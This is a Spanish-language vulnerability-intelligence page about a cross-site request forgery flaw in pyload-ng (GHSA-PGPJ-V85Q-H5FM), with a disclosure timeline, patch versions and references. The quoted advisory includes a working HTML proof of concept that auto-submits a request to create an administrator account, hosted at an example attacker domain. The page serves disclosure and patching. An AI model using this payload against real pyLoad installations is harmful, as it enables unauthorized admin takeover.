llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · pyload-ng

GHSA-PGPJ-V85Q-H5FM

Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation

Parche disponible
Descargar PNG JSON
CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -2 d de la divulgación
Exposición1.036 dDesde la divulgación, 19 ene 2024, 10:27 a. m.
Detección1.032 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 0.5.0b3.dev78
Monitoreo
Detectada
17 ene 24
19 ene 24
10 sept 26
17 nov 26
20 nov 26
17 ene 24
3 oct 24
19 jun 25
6 mar 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 0.5.0b3.dev78 pyload-ng · -2 d desde divulgación
Divulgación Publicada GHSA-PGPJ-V85Q-H5FM divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.

### PoC
We host the following HTML file on an attacker-controlled server.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

If we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application.
!image https://user-images.githubusercontent.com/44903767/294942232-d874e838-f8eb-492f-98df-2d16ba74ff25.png

The attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`.
!image https://user-images.githubusercontent.com/44903767/294942635-c6d9adca-0f3a-4d99-92ac-6d3bf8e9ee01.png

### Impact
Any API call can be made via a CSRF attack by an unauthenticated user.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
pyload-ng< 0.5.0b3.dev78
0.5.0b3.dev102
0.5.0b3.dev78
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypipyload-ng
Corregida 0.5.0b3.dev78 -2 d 0.5.0b3.dev102 no afectada
Versiones corregidas0.5.0b3.dev78
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2024-22416
Otrahttps://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm
Otrahttps://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e
Otrahttps://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc
Otrahttps://github.com/pyload/pyload
Otrahttps://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-17.yaml

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.